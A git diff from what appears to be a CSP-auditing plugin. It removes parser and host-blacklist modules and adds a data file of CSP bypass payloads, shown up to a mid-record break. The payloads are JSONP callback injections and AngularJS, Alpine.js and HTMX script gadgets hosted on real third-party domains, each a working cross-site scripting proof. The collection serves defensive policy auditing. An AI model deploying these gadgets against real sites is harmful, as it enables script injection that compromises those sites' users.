apiGetCheckSettings( + _sdk: SDK, +): Result<Record<string, boolean>> { + return ok(getCheckSettings()); +} + +export function apiSetCheckSettings( + _sdk: SDK, + settings: Record<string, boolean>, +): Result<void> { + setCheckSettings(settings); + return ok(undefined); +} + +export function apiUpdateSingleCheck( + _sdk: SDK, + checkId: string, + enabled: boolean, +): Result<void> { + updateSingleCheck(checkId, enabled); + return ok(undefined); +} diff --git a/packages/backend/src/blacklists.ts b/packages/backend/src/blacklists.ts deleted file mode 100644 index 8b6d39b..0000000 --- a/packages/backend/src/blacklists.ts +++ /dev/null @@ -1,226 +0,0 @@ -import { isSubdomainOf } from "./utils"; - -// User content hosts - domains known to host user-uploaded content -export const USER_CONTENT_HOSTS = [ - // GitHub - "*.github.io", - "github.com", - "raw.githubusercontent.com", - - // Amazon S3 - "*.s3.amazonaws.com", - "*.cloudfront.com", - - // Heroku hosting - "*.herokuapp.com", - - // Dropbox - "dl.dropboxusercontent.com", - - // AppEngine - "*.appspot.com", - - // Google user files - "googleusercontent.com", - - // Blogger - Comprehensive subdomain list - "*.blogspot.ae", - "*.blogspot.al", - "*.blogspot.am", - "*.blogspot.ba", - "*.blogspot.be", - "*.blogspot.bg", - "*.blogspot.bj", - "*.blogspot.ca", - "*.blogspot.cf", - "*.blogspot.ch", - "*.blogspot.cl", - "*.blogspot.co.at", - "*.blogspot.co.id", - "*.blogspot.co.il", - "*.blogspot.co.ke", - "*.blogspot.co.nz", - "*.blogspot.co.uk", - "*.blogspot.co.za", - "*.blogspot.com", - "*.blogspot.com.ar", - "*.blogspot.com.au", - "*.blogspot.com.br", - "*.blogspot.com.by", - "*.blogspot.com.co", - "*.blogspot.com.cy", - "*.blogspot.com.ee", - "*.blogspot.com.eg", - "*.blogspot.com.es", - "*.blogspot.com.mt", - "*.blogspot.com.ng", - "*.blogspot.com.tr", - "*.blogspot.com.uy", - "*.blogspot.cv", - "*.blogspot.cz", - "*.blogspot.de", - "*.blogspot.dk", - "*.blogspot.fi", - "*.blogspot.fr", - "*.blogspot.gr", - "*.blogspot.hk", - "*.blogspot.hr", - "*.blogspot.hu", - "*.blogspot.ie", - "*.blogspot.in", - "*.blogspot.is", - "*.blogspot.it", - "*.blogspot.jp", - "*.blogspot.kr", - "*.blogspot.li", - "*.blogspot.lt", - "*.blogspot.lu", - "*.blogspot.md", - "*.blogspot.mk", - "*.blogspot.mr", - "*.blogspot.mx", - "*.blogspot.my", - "*.blogspot.nl", - "*.blogspot.no", - "*.blogspot.pe", - "*.blogspot.pt", - "*.blogspot.qa", - "*.blogspot.re", - "*.blogspot.ro", - "*.blogspot.rs", - "*.blogspot.ru", - "*.blogspot.se", - "*.blogspot.sg", - "*.blogspot.si", - "*.blogspot.sk", - "*.blogspot.sn", - "*.blogspot.td", - "*.blogspot.tw", - "*.blogspot.ug", - "*.blogspot.vn", -]; - -// JavaScript hosts with known vulnerable libraries -export const VULNERABLE_JS_HOSTS = [ - // AngularJS vulnerabilities - known security issues - { - domain: "cdnjs.cloudflare.com", - paths: ["/ajax/libs/angular.js/"], - risk: "AngularJS sandbox bypasses", - }, - { - domain: "code.angularjs.org", - paths: [], - risk: "AngularJS vulnerabilities", - }, - { - domain: "ajax.googleapis.com", - paths: [ - "/ajax/libs/angularjs/", - "/ajax/libs/yui/", - "/jsapi", - "/ajax/services/feed/find", - ], - risk: "AngularJS and JSONP vulnerabilities", - }, - - // Yahoo vulnerabilities - { - domain: "d.yimg.com", - paths: [], - risk: "Yahoo JSONP callback vulnerabilities", - }, - - // JS Delivr - { - domain: "cdn.jsdelivr.net", - paths: [], - risk: "Various vulnerable library versions", - }, -]; - -export class BlacklistManager { - static isUserContentHost(domain: string): boolean { - const cleanDomain = domain - .toLowerCase() - .replace(/^https?:\/\//, "") - .replace(/\/.*$/, ""); - - return USER_CONTENT_HOSTS.some((pattern) => { - if (pattern.startsWith("*")) { - const suffix = pattern.substring(2); // Remove *. - return cleanDomain.endsWith(suffix) || cleanDomain === suffix; - } - return cleanDomain === pattern; - }); - } - - static isVulnerableJsHost( - domain: string, - path?: string, - ): { isVulnerable: boolean; risk?: string } { - const cleanDomain = domain - .toLowerCase() - .replace(/^https?:\/\//, "") - .replace(/\/.*$/, ""); - - for (const vulnHost of VULNERABLE_JS_HOSTS) { - if ( - cleanDomain === vulnHost.domain || - isSubdomainOf(cleanDomain, vulnHost.domain) - ) { - // If no paths specified, entire domain is vulnerable - if (vulnHost.paths.length === 0) { - return { isVulnerable: true, risk: vulnHost.risk }; - } - - // Check if path matches any vulnerable paths - if ( - path !== undefined && - path.trim() !== "" && - vulnHost.paths.some((vulnPath) => path.includes(vulnPath)) - ) { - return { isVulnerable: true, risk: vulnHost.risk }; - } - } - } - - return { isVulnerable: false }; - } - - static checkDomainVariants( - domain: string, - ): Array<{ type: "user-content" | "vulnerable-js"; risk: string }> { - const results: Array<{ - type: "user-content" | "vulnerable-js"; - risk: string; - }> = []; - - if (this.isUserContentHost(domain)) { - results.push({ - type: "user-content", - risk: "Domain allows user-uploaded content that could contain malicious scripts", - }); - } - - const vulnCheck = this.isVulnerableJsHost(domain); - if (vulnCheck.isVulnerable) { - results.push({ - type: "vulnerable-js", - risk: - vulnCheck.risk ?? - "Domain hosts known vulnerable JavaScript libraries", - }); - } - - return results; - } - - static getUserContentHostsCount(): number { - return USER_CONTENT_HOSTS.length; - } - - static getVulnerableJsHostsCount(): number { - return VULNERABLE_JS_HOSTS.length; - } -} diff --git a/packages/backend/src/bypass-database.ts b/packages/backend/src/bypass-database.ts deleted file mode 100644 index be20ff9..0000000 --- a/packages/backend/src/bypass-database.ts +++ /dev/null @@ -1,16 +0,0 @@ -// CSP bypass database - uses generated data from data/csp-bypass-data.tsv -// The data is inlined at build time via scripts/generate-bypass-data.js - -import { CSP_BYPASS_TSV_DATA, BYPASS_ENTRY_COUNT } from "./bypass-data.generated"; - -export const getCSPBypassData = (): string => { - return CSP_BYPASS_TSV_DATA; -}; - -export const getBypassCount = (): number => { - return BYPASS_ENTRY_COUNT; -}; - -// Legacy exports for backward compatibility -export const CSP_BYPASS_DATA = CSP_BYPASS_TSV_DATA; -export const BYPASS_COUNT = BYPASS_ENTRY_COUNT; diff --git a/packages/backend/src/csp-parser.ts b/packages/backend/src/csp-parser.ts deleted file mode 100644 index 595d8e6..0000000 --- a/packages/backend/src/csp-parser.ts +++ /dev/null @@ -1,245 +0,0 @@ -import type { CspDirective, CspPolicy, CspSource } from "./types"; -import { generateId } from "./utils"; - -export class CspParser { - private static readonly CSP_HEADERS = [ - "content-security-policy", - "content-security-policy-report-only", - "x-content-security-policy", - "x-webkit-csp", - ]; - - private static readonly DEPRECATED_HEADERS = [ - "x-content-security-policy", - "x-webkit-csp", - ]; - - private static readonly KEYWORD_SOURCES = [ - "'self'", - "'unsafe-inline'", - "'unsafe-eval'", - "'none'", - "'strict-dynamic'", - "'unsafe-hashes'", - "'report-sample'", - "'wasm-eval'", - "'wasm-unsafe-eval'", - ]; - - static extractCspHeaders( - headers: Record<string, string | string[]>, - ): Array<{ name: string; value: string }> { - const cspHeaders: Array<{ name: string; value: string }> = []; - - for (const [headerName, headerValue] of Object.entries(headers)) { - const normalizedName = headerName.toLowerCase(); - - if (this.CSP_HEADERS.includes(normalizedName)) { - const values = Array.isArray(headerValue) ? headerValue : [headerValue]; - - for (const value of values) { - if (value && typeof value === "string") { - cspHeaders.push({ name: normalizedName, value: value.trim() }); - } - } - } - } - - return cspHeaders; - } - - static parsePolicy( - headerName: string, - headerValue: string, - requestId: string, - url?: string, - ): CspPolicy { - const policy: CspPolicy = { - id: generateId(), - requestId, - headerName, - headerValue, - directives: new Map(), - isReportOnly: headerName.includes("report-only"), - isDeprecated: this.DEPRECATED_HEADERS.includes(headerName), - parsedAt: new Date(), - url, - }; - - // Split the header value by semicolons to get individual directives - const directiveStrings = headerValue - .split(";") - .map((d) => d.trim()) - .filter((d) => d); - - for (const directiveString of directiveStrings) { - const parts = directiveString.split(/\s+/).filter((part) => part); - if (parts.length === 0) continue; - - const directiveName = parts[0]?.toLowerCase(); - if (directiveName === undefined || directiveName.trim() === "") continue; - const directiveValues = parts.slice(1); - - const directive: CspDirective = { - name: directiveName, - values: directiveValues, - implicit: false, - sources: this.parseSourceList(directiveValues), - }; - - policy.directives.set(directiveName, directive); - } - - // Compute effective policy with default-src inheritance - this.applyDefaultSrcInheritance(policy); - - return policy; - } - - private static parseSourceList(values: string[]): CspSource[] { - return values.map((value) => this.parseSource(value)); - } - - private static parseSource(value: string): CspSource { - const trimmedValue = value.trim(); - - // Check for keywords - if (this.KEYWORD_SOURCES.includes(trimmedValue)) { - return { - value: trimmedValue, - type: "keyword", - isWildcard: false, - isUnsafe: trimmedValue.includes("unsafe"), - }; - } - - // Check for nonce - if (trimmedValue.startsWith("'nonce-")) { - return { - value: trimmedValue, - type: "nonce", - isWildcard: false, - isUnsafe: false, - }; - } - - // Check for hash - if (trimmedValue.startsWith("'sha") && trimmedValue.endsWith("'")) { - return { - value: trimmedValue, - type: "hash", - isWildcard: false, - isUnsafe: false, - }; - } - - // Check for scheme - if (trimmedValue.includes(":") && !trimmedValue.includes("//")) { - return { - value: trimmedValue, - type: "scheme", - isWildcard: trimmedValue === "*", - isUnsafe: false, - }; - } - - // Default to host - return { - value: trimmedValue, - type: "host", - isWildcard: trimmedValue === "*" || trimmedValue.startsWith("*"), - isUnsafe: false, - }; - } - - private static applyDefaultSrcInheritance(policy: CspPolicy): void { - const defaultSrcDirective = policy.directives.get("default-src"); - if (!defaultSrcDirective) return; - - // List of directives that inherit from default-src if not explicitly set - const inheritingDirectives = [ - "script-src", - "style-src", - "img-src", - "font-src", - "connect-src", - "media-src", - "object-src", - "child-src", - "frame-src", - "worker-src", - "manifest-src", - "prefetch-src", - ]; - - for (const directiveName of inheritingDirectives) { - if (!policy.directives.has(directiveName)) { - // Create implicit directive inheriting from default-src - const implicitDirective: CspDirective = { - name: directiveName, - values: [...defaultSrcDirective.values], - implicit: true, - sources: [...defaultSrcDirective.sources], - }; - - policy.directives.set(directiveName, implicitDirective); - } - } - } - - static computeEffectivePolicy(policies: CspPolicy[]): CspPolicy | undefined { - if (policies.length === 0) return undefined; - if (policies.length === 1) return policies[0] ?? undefined; - - // For multiple policies, we need to intersect the directives - // This is a simplified approach - real CSP combination is complex - const firstPolicy = policies[0]; - if (!firstPolicy) return undefined; - - const effectivePolicy = { ...firstPolicy }; - effectivePolicy.id = generateId(); - effectivePolicy.headerValue = policies.map((p) => p.headerValue).join("; "); - - return effectivePolicy; - } - - static getDirectiveSourcesAsString(directive: CspDirective): string { - return directive.values.join(" "); - } - - static hasUnsafeInline(directive: CspDirective): boolean { - return directive.sources.some( - (source) => - source.type === "keyword" && source.value === "'unsafe-inline'", - ); - } - - static hasUnsafeEval(directive: CspDirective): boolean { - return directive.sources.some( - (source) => source.type === "keyword" && source.value === "'unsafe-eval'", - ); - } - - static hasWildcard(directive: CspDirective): boolean { - return directive.sources.some((source) => source.isWildcard); - } - - static getHostSources(directive: CspDirective): CspSource[] { - return directive.sources.filter((source) => source.type === "host"); - } - - static isScriptDirective(directiveName: string): boolean { - return [ - "script-src", - "object-src", - "script-src-elem", - "script-src-attr", - ].includes(directiveName); - } - - static isStyleDirective(directiveName: string): boolean { - return ["style-src", "style-src-elem", "style-src-attr"].includes( - directiveName, - ); - } -} diff --git a/packages/backend/src/data/bypassRecords.ts b/packages/backend/src/data/bypassRecords.ts new file mode 100644 index 0000000..263bd68 --- /dev/null +++ b/packages/backend/src/data/bypassRecords.ts @@ -0,0 +1,1234 @@ +import type { BypassRecord } from "shared"; + +export const BYPASS_RECORDS: BypassRecord[] = [ + { + domain: "7b936.v.fwmrm.net", + code: '<script src="https://7b936.v.fwmrm.net/ad/g/1?nw=1&csid=1&resp=json&cbfn=alert(1)-"></script>', + technique: "Script Injection", + id: "7b936.v.fwmrm.net-1", + }, + { + domain: "a.huodong.mi.com", + code: '<script src="https://a.huodong.mi.com/postfree/postfree?callback=alert"></script>', + technique: "JSONP", + id: "a.huodong.mi.com-2", + }, + { + domain: "acs.aliexpress.com", + code: '<script src="https://acs.aliexpress.com/h5/mtop.aliexpress.address.shipto.division.get/1.0/?type=jsonp&dataType=jsonp&callback=alert"></script>', + technique: "JSONP", + id: "acs.aliexpress.com-3", + }, + { + domain: "aax-eu.amazon.com", + code: '<script src="https://aax-eu.amazon.com/e/xsp/getAdj?callback=alert(1)-"></script>', + technique: "JSONP", + id: "aax-eu.amazon.com-4", + }, + { + domain: "accdn.lpsnmedia.net", + code: '<script src="https://accdn.lpsnmedia.net/api/account/1/configuration/engagement-window/window-confs/1?cb=alert"></script>', + technique: "JSONP", + id: "accdn.lpsnmedia.net-5", + }, + { + domain: "accounts.google.com", + code: '<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>', + technique: "JSONP", + id: "accounts.google.com-6", + }, + { + domain: "acs.youku.com", + code: '<script src="https://acs.youku.com/h5/mtop.youku.playlog.open.get/1.0/?jsv=2.6.1&appKey=24679788&t=1734359327631&sign=6b8f8b6abb27c68582606eed336c887d&api=mtop.youku.playlog.open.get&v=1.0&dataType=jsonp&jsonpIncPrefix=headerRecord1734359327618&type=jsonp&callback=alert&data={%22nlid%22%3A%22XlQcF5xQrCcCAWoLKdGqIOhS%22%2C%22uid%22%3A%22%22%2C%22pageLength%22%3A100%2C%22timestamp%22%3A%221734359327617%22%2C%22appKey%22%3A%22qPbb2hfIYugHjMaj%22%2C%22appName%22%3A%22pc%22%2C%22hwClass%22%3A1%2C%22deviceName%22%3A%22web%22%2C%22isPlayController%22%3A1%2C%22ccode%22%3A%220502%22%2C%22clientDrmAbility%22%3A3}"></script>', + technique: "JSONP", + id: "acs.youku.com-7", + }, + { + domain: "ajax.googleapis.com", + code: '<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">', + technique: "AngularJS", + id: "ajax.googleapis.com-8", + }, + { + domain: "anchor.digitalocean.com", + code: '<script src="https://anchor.digitalocean.com/index.php/form/getForm?munchkinId=113-DTN-266&form=1402&callback=alert"></script>', + technique: "JSONP", + id: "anchor.digitalocean.com-9", + }, + { + domain: "a.config.skype.com", + code: '<script src="https://a.config.skype.com/config/v1/SkypeLyncWebExperience/905_1.2.5.0?apikey=shareButton&fingerprint=0487c2fb-967c-4d8d-9635-75249326f72e&callback=alert"></script>', + technique: "JSONP", + id: "a.config.skype.com-10", + }, + { + domain: "ap.lijit.com", + code: '<script src="https://ap.lijit.com/rtb/bid?callback=alert&br={%22id%22:%221%22,%22site%22:{%22domain%22:%22x%22,%22page%22:%22x%22}}"></script>', + technique: "JSONP", + id: "ap.lijit.com-11", + }, + { + domain: "api.bazaarvoice.com", + code: '<script src="https://api.bazaarvoice.com/data/batch.json?passkey=e75powr7wqhg1ah5seu00zawf&callback=alert"></script>', + technique: "JSONP", + id: "api.bazaarvoice.com-12", + }, + { + domain: "api.bing.com", + code: '<script src="https://api.bing.com/osjson.aspx?query=x&JsonType=callback&JsonCallback=alert"></script>', + technique: "Script Injection", + id: "api.bing.com-13", + }, + { + domain: "api.chartbeat.com", + code: '<script src="https://api.chartbeat.com/toppages/?jsonp=alert(1)-"></script>', + technique: "Script Injection", + id: "api.chartbeat.com-14", + }, + { + domain: "api.cxense.com", + code: '<script src="https://api.cxense.com/profile/user/segment?callback=alert"></script>', + technique: "JSONP", + id: "api.cxense.com-15", + }, + { + domain: "api.dailymotion.com", + code: '<script src="https://api.dailymotion.com/video/x5gv6be?callback=alert()"></script>', + technique: "JSONP", + id: "api.dailymotion.com-16", + }, + { + domain: "api.duckduckgo.com", + code: '<script src="https://api.duckduckgo.com/?q=x&callback=alert&format=json"></script>', + technique: "JSONP", + id: "api.duckduckgo.com-17", + }, + { + domain: "api.flickr.com", + code: '<script src="https://api.flickr.com/services/feeds/photos_friends.gne?user_id=44979707@N00&friends=0&display_all=1&format=json&jsoncallback=alert"></script>', + technique: "JSONP", + id: "api.flickr.com-18", + }, + { + domain: "api.forismatic.com", + code: '<script src="https://api.forismatic.com/api/1.0/?format=jsonp&method=getQuote&jsonp=alert&lang=en"></script>', + technique: "Script Injection", + id: "api.forismatic.com-19", + }, + { + domain: "api.getdrip.com", + code: '<script src="https://api.getdrip.com/client/forms/show?callback=alert(1)-"></script>', + technique: "JSONP", + id: "api.getdrip.com-20", + }, + { + domain: "api.ipify.org", + code: '<script src="https://api.ipify.org/?format=jsonp&callback=alert(1)//"></script>', + technique: "JSONP", + id: "api.ipify.org-21", + }, + { + domain: "api.m.jd.com", + code: '<script src="https://api.m.jd.com/api?appid=x&functionId=x&jsonp=alert(document.domain)//"></script>', + technique: "Script Injection", + id: "api.m.jd.com-22", + }, + { + domain: "api.map.baidu.com", + code: '<script src="https://api.map.baidu.com/api?v=2.0&ak=&s=1&callback=alert(document.domain)"></script>', + technique: "JSONP", + id: "api.map.baidu.com-23", + }, + { + domain: "api.mixpanel.com", + code: '<script src="https://api.mixpanel.com/track/?callback=alert(1337)"></script>', + technique: "JSONP", + id: "api.mixpanel.com-24", + }, + { + domain: "api.olark.com", + code: '<script src="https://api.olark.com/2.0/visitors/z1nRAdDubyUjGyih018BZ0P04rBy00W3?_callback=alert&_method=PUT"></script>', + technique: "JSONP", + id: "api.olark.com-25", + }, + { + domain: "api.pinterest.com", + code: '<script src="https://api.pinterest.com/v1/urls/count.json?callback=alert&url=x"></script>', + technique: "JSONP", + id: "api.pinterest.com-26", + }, + { + domain: "api.stackexchange.com", + code: '<script src="https://api.stackexchange.com/2.2/me?callback=alert(1)-"></script>', + technique: "JSONP", + id: "api.stackexchange.com-27", + }, + { + domain: "api.swiftype.com", + code: '<script src="https://api.swiftype.com/api/v1/public/engines/search.json?callback=alert&engine_key=JDuYRnCLSDZzYWgBkoSB"></script>', + technique: "JSONP", + id: "api.swiftype.com-28", + }, + { + domain: "api.twitter.com", + code: '<script src="https://api.twitter.com/1/statuses/oembed.json?url=https:%2F%2Ftwitter.com%2FMartina%2Fstatus%2F867710263654580226&callback=alert&_=1496363308445"></script>', + technique: "JSONP", + id: "api.twitter.com-29", + }, + { + domain: "api.tumblr.com", + code: '<script src="https://api.tumblr.com/v2/blog/zoeappleseed.tumblr.com/posts/photo?tag=seed&offset=0&api_key=msIByDvkVk3gSr360nq2vmTkKIAvW4gNTB2dUYkvIO9NLwyxNy&jsonp=alert"></script>', + technique: "Script Injection", + id: "api.tumblr.com-30", + }, + { + domain: "api.livechatinc.com", + code: '<script src="https://api.livechatinc.com/v3.6/customer/action/get_dynamic_configuration?license_id=x&url=x&channel_type=code&jsonp=alert"></script>', + technique: "Script Injection", + id: "api.livechatinc.com-31", + }, + { + domain: "api.vk.com", + code: '<script src="https://api.vk.com/method/wall.get?callback=alert(1337)"></script>', + technique: "JSONP", + id: "api.vk.com-32", + }, + { + domain: "api.wordpress.org", + code: '<script src="https://api.wordpress.org/stats/plugin/1.0/?slug=x&callback=alert"></script>', + technique: "JSONP", + id: "api.wordpress.org-33", + }, + { + domain: "api.x.com", + code: '<script src="https://api.x.com/1/statuses/oembed.json?url=https:%2F%2Ftwitter.com%2FMartina%2Fstatus%2F867710263654580226&callback=alert&_=1496363308445"></script>', + technique: "JSONP", + id: "api.x.com-34", + }, + { + domain: "apis.google.com", + code: '<iframe id=x src="/%GG"></iframe><script src="https://apis.google.com/complete/search?client=chrome&q=<script>alert(document.domain)</script>&callback=x.contentDocument.write"></script>', + technique: "JSONP", + id: "apis.google.com-35", + }, + { + domain: "apis.google.com", + code: '<script src="https://apis.google.com/complete/search?client=chrome&q=x&callback=alert"></script>', + technique: "JSONP", + id: "apis.google.com-36", + }, + { + domain: "app-sjint.marketo.com", + code: '<script src="https://app-sjint.marketo.com/index.php/form/getKnownLead?callback=alert()"></script>', + technique: "JSONP", + id: "app-sjint.marketo.com-38", + }, + { + domain: "app.hushly.com", + code: '<script src="https://app.hushly.com/runtime/visitor?callback=alert(1)//"></script>', + technique: "JSONP", + id: "app.hushly.com-39", + }, + { + domain: "app.link", + code: '<script src="https://app.link/_r?sdk=web&callback=alert"></script>', + technique: "JSONP", + id: "app.link-40", + }, + { + domain: "apps.bdimg.com", + code: '<body ng-app ng-csp><script src="https://apps.bdimg.com/libs/angular.js/1.4.6/angular.min.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>', + technique: "AngularJS", + id: "apps.bdimg.com-41", + }, + { + domain: "assets.grubhub.com", + code: '<body ng-app ng-csp><script src="https://assets.grubhub.com/libs/js/angular/1.8.3/angular.min.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>', + technique: "AngularJS", + id: "assets.grubhub.com-42", + }, + { + domain: "bookmark.hatenaapis.com", + code: '<script src="https://bookmark.hatenaapis.com/count/entry?url=x&callback=alert"></script>', + technique: "JSONP", + id: "bookmark.hatenaapis.com-44", + }, + { + domain: "c.y.qq.com", + code: '<script src="https://c.y.qq.com/v8/fcg-bin/v8.fcg?¬ice=0&format=jsonp&channel=singer&page=list&jsonpCallback=alert"></script>', + technique: "Script Injection", + id: "c.y.qq.com-45", + }, + { + domain: "cas.criteo.com", + code: '<script src="https://cas.criteo.com/delivery/0.1/napi.jsonp?zoneid=377600&callback=alert(1)"></script>', + technique: "JSONP", + id: "cas.criteo.com-46", + }, + { + domain: "cdn.arkoselabs.com", + code: '<script src="https://cdn.arkoselabs.com/fc/a/?callback=alert"></script>', + technique: "JSONP", + id: "cdn.arkoselabs.com-47", + }, + { + domain: "cdn.bootcdn.net", + code: '<script src="https://cdn.bootcdn.net/ajax/libs/angular.js/1.8.3/angular.min.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">', + technique: "AngularJS", + id: "cdn.bootcdn.net-48", + }, + { + domain: "cdn.bootcss.com", + code: '<script src="https://cdn.bootcss.com/angular.js/1.8.3/angular.min.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">', + technique: "AngularJS", + id: "cdn.bootcss.com-49", + }, + { + domain: "cdn.jsdelivr.net", + code: '<script src="https://cdn.jsdelivr.net/gh/renniepak/xss/xss.js"></script>', + technique: "Script Injection", + id: "cdn.jsdelivr.net-50", + }, + { + domain: "cdn.jsdelivr.net", + code: '<script src="https://cdn.jsdelivr.net/npm/angular@1.8.3/angular.min.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">', + technique: "AngularJS", + id: "cdn.jsdelivr.net-51", + }, + { + domain: "cdn.jsdelivr.net", + code: '<script src="https://cdn.jsdelivr.net/npm/htmx.org"></script><any hx-trigger="x[1)}),alert(origin)//]">', + technique: "HTMX", + id: "cdn.jsdelivr.net-52", + }, + { + domain: "cdn.shopify.com", + code: '<script src="https://cdn.shopify.com/s/files/1/0714/7936/1848/files/a.js"></script>', + technique: "Script Injection", + id: "cdn.shopify.com-53", + }, + { + domain: "cdn.staticfile.org", + code: '<script src="https://cdn.staticfile.org/angular.js/1.8.3/angular.min.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">', + technique: "AngularJS", + id: "cdn.staticfile.org-54", + }, + { + domain: "cdn.syncfusion.com", + code: '<body ng-app ng-csp><script src="https://cdn.syncfusion.com/js/assets/external/angular.min.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>', + technique: "AngularJS", + id: "cdn.syncfusion.com-55", + }, + { + domain: "cdnjs.cloudflare.com", + code: '<script src="https://cdnjs.cloudflare.com/ajax/libs/alpinejs/3.10.5/cdn.min.js"></script><div x-init="alert(1)">', + technique: "Alpine.js", + id: "cdnjs.cloudflare.com-56", + }, + { + domain: "cdnjs.cloudflare.com", + code: '<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">', + technique: "AngularJS", + id: "cdnjs.cloudflare.com-57", + }, + { + domain: "challenges.cloudflare.com", + code: '<script src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=alert"></script>', + technique: "Script Injection", + id: "challenges.cloudflare.com-58", + }, + { + domain: "client-api.arkoselabs.com", + code: '<script src="https://client-api.arkoselabs.com/fc/a/?callback=alert"></script>', + technique: "JSONP", + id: "client-api.arkoselabs.com-59", + }, + { + domain: "client.crisp.chat", + code: '<script src="https://client.crisp.chat/settings/website/x/?callback=-alert(1)//"></script>', + technique: "JSONP", + id: "client.crisp.chat-60", + }, + { + domain: "code.angularjs.org", + code: '<script src="https://code.angularjs.org/1.8.2/angular.min.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">', + technique: "AngularJS", + id: "code.angularjs.org-61", + }, + { + domain: "commerce.coinbase.com", + code: '<script src="https://commerce.coinbase.com/v1/checkout.js?onload=alert"></script>', + technique: "Script Injection", + id: "commerce.coinbase.com-62", + }, + { + domain: "common.like.naver.com", + code: '<script src="https://common.like.naver.com/v1/search/contents?callback=alert&q=x"></script>', + technique: "JSONP", + id: "common.like.naver.com-63", + }, + { + domain: "connect.mail.ru", + code: '<script src="https://connect.mail.ru/share_count?url_list=x&callback=1&func=alert"></script>', + technique: "JSONP", + id: "connect.mail.ru-64", + }, + { + domain: "content.akamai.com", + code: '<script src="https://content.akamai.com/index.php/form/getForm?munchkinId=113-DTN-266&form=1402&callback=alert"></script>', + technique: "JSONP", + id: "content.akamai.com-65", + }, + { + domain: "count-server.sharethis.com", + code: '<script src="https://count-server.sharethis.com/v2.0/get_counts?cb=alert"></script>', + technique: "JSONP", + id: "count-server.sharethis.com-66", + }, + { + domain: "clients1.google.com", + code: '<script src="https://clients1.google.com/complete/search?callback=alert&q=PIC&nolabels=t&client=youtube&ds=yt&_=1361575554883"></script>', + technique: "JSONP", + id: "clients1.google.com-67", + }, + { + domain: "clients6.google.com", + code: '<script src="https://clients6.google.com/drive/v2beta/files?callback=alert(1)"></script>', + technique: "JSONP", + id: "clients6.google.com-68", + }, + { + domain: "d.adroll.com", + code: '<script src="https://d.adroll.com/user_attrs?advertisable_eid=5L5IV3X4ZNCUZFMLN5KKOD&jsonp=alert(document.domain)"></script>', + technique: "Script Injection", + id: "d.adroll.com-69", + }, + { + domain: "d.la3-c2-ia5.salesforceliveagent.com", + code: '<script src="https://d.la3-c2-ia5.salesforceliveagent.com/chat/rest/EmbeddedService/EmbeddedServiceConfig.jsonp?org_id=00D40000000MvPv&EmbeddedServiceConfig.configName=Support_Brandfolder_Chat_Agents&callback=alert&version=48"></script>', + technique: "JSONP", + id: "d.la3-c2-ia5.salesforceliveagent.com-70", + }, + { + domain: "d1xrp9zhb3ks3c.cloudfront.net", + code: '<body ng-app ng-csp><script src="https://d1xrp9zhb3ks3c.cloudfront.net/web/changessalon/node_modules/angular/angular.min.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>', + technique: "AngularJS", + id: "d1xrp9zhb3ks3c.cloudfront.net-71", + }, + { + domain: "dblp.org", + code: '<script src="https://dblp.org/search/venue/api?q=&h=1000&c=0&rd=1a&format=jsonp&callback=alert"></script>', + technique: "JSONP", + id: "dblp.org-72", + }, + { + domain: "demo.matomo.cloud", + code: '<script src="https://demo.matomo.cloud/?module=API&method=Overlay.getTranslations&idSite=1&format=JSON&callback=alert"></script>', + technique: "JSONP", + id: "demo.matomo.cloud-73", + }, + { + domain: "dev.virtualearth.net", + code: '<script src="https://dev.virtualearth.net/REST/v1/Imagery/Metadata/Road?jsonp=alert(document.domain);//"></script>', + technique: "Script Injection", + id: "dev.virtualearth.net-74", + }, + { + domain: "documentation-resources.opendatasoft.com", + code: '<script src="https://documentation-resources.opendatasoft.com/api/datasets/1.0/doc-geonames-cities-5000/?format=jsonp&callback=confirm(1);"></script>', + technique: "JSONP", + id: "documentation-resources.opendatasoft.com-75", + }, + { + domain: "dpm.demdex.net", + code: '<script src="https://dpm.demdex.net/id?d_cb=alert"></script>', + technique: "JSONP", + id: "dpm.demdex.net-76", + }, + { + domain: "dynamic.criteo.com", + code: '<script src="https://dynamic.criteo.com/js/ld/s2s.js?p=1&c=1&j=alert"></script>', + technique: "Script Injection", + id: "dynamic.criteo.com-77", + }, + { + domain: "elysiumwebsite.s3.amazonaws.com", + code: '<body ng-app ng-csp><script src="//elysiumwebsite.s3.amazonaws.com/uploads/blog-media/rockstar/angular.min.js"></script><div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == \'window\'">{{ [1].reduce(value.alert, 1); }}</div></div></div></body>', + technique: "AngularJS", + id: "elysiumwebsite.s3.amazonaws.com-78", + }, + { + domain: "eu.battle.net", + code: '<script src="https://eu.battle.net/support/update/json?callback=alert"></script>', + technique: "JSONP", + id: "eu.battle.net-79", + }, + { + domain: "fast.wistia.com", + code: '<script src="https://fast.wistia.com/embed/medias/o75jtw7654.json?callback=alert"></script>', + technique: "JSONP", + id: "fast.wistia.com-80", + }, + { + domain: "forms.hsforms.com", + code: '<script src="https://forms.hsforms.com/embed/v3/form/1/00000000-0000-0000-0000-000000000000?callback=alert"></script>', + technique: "JSONP", + id: "forms.hsforms.com-81", + }, + { + domain: "forms.hubspot.com", + code: '<script src="https://forms.hubspot.com/embed/v3/form/2059467/2e1a1b5b-27bb-447d-aac4-0b87c1e88fec?callback=alert"></script>', + technique: "JSONP", + 